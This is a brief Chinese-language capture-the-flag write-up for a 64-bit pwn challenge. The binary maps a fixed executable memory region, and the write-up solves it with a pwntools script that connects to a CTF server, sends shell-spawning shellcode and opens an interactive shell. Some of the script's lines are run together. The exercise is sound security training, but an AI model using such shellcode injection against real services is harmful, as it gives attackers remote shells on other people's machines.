下载 exeinfo checksec
开启了NX PIE 64位
查看main函数:
发现有个mmap函数 查一下:
在固定地址 0x30303000
处创建 4KB 的匿名内存映射,具有可读、写、执行权限
所以将shellcode直接写到上面就能执行
exp:
from pwn import *
context (os='linux', arch='amd64', log_level='debug')
#这行一定要加p = remote("node5.anna.nssctf.cn", 25971)shellcode = asm(shellcraft.sh())p.send(shellcode)
p.interactive()
运行 得到flag: